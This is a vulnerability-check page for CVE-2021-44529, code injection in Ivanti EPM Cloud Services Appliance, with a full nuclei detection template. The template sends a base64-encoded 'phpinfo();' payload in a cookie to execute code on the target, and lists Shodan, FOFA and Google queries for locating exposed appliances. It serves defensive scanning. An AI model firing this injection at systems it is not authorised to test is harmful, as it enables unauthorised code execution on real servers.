Ivanti EPM Cloud Services Appliance Code Injection

Exploited in the wild. Listed by CISA on 2024-03-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).

Impact

Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.

Fix

Apply the latest security patches provided by Ivanti to mitigate this vulnerability.

How to confirm it

Send: GET /client/index.php
Positive when: contains "phpinfo()" and "Cloud Services Appliance" AND status 200

Run it with nuclei: nuclei -id CVE-2021-44529 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-44529

info:
  name: Ivanti EPM Cloud Services Appliance Code Injection
  author: duty_1g,phyr3wall,Tirtha
  severity: critical
  description: Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
  remediation: |
    Apply the latest security patches provided by Ivanti to mitigate this vulnerability.
  reference:
    - https://forums.ivanti.com/s/article/SA-2021-12-02
    - https://twitter.com/Dinosn/status/1505273954478530569
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44529
    - http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html
    - https://github.com/SYRTI/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-44529
    cwe-id: CWE-94
    epss-score: 0.99105
    epss-percentile: 0.99933
    cpe: cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: endpoint_manager_cloud_services_appliance
    shodan-query:
      - title:"LANDesk(R) Cloud Services Appliance"
      - http.title:"landesk(r) cloud services appliance"
    fofa-query: title="landesk(r) cloud services appliance"
    google-query: intitle:"landesk(r) cloud services appliance"
  tags: cve2021,cve,ivanti,epm,csa,injection,packetstorm,kev,vkev,vuln

http:
  - raw:
      - |
        GET /client/index.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "phpinfo()"
          - "Cloud Services Appliance"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from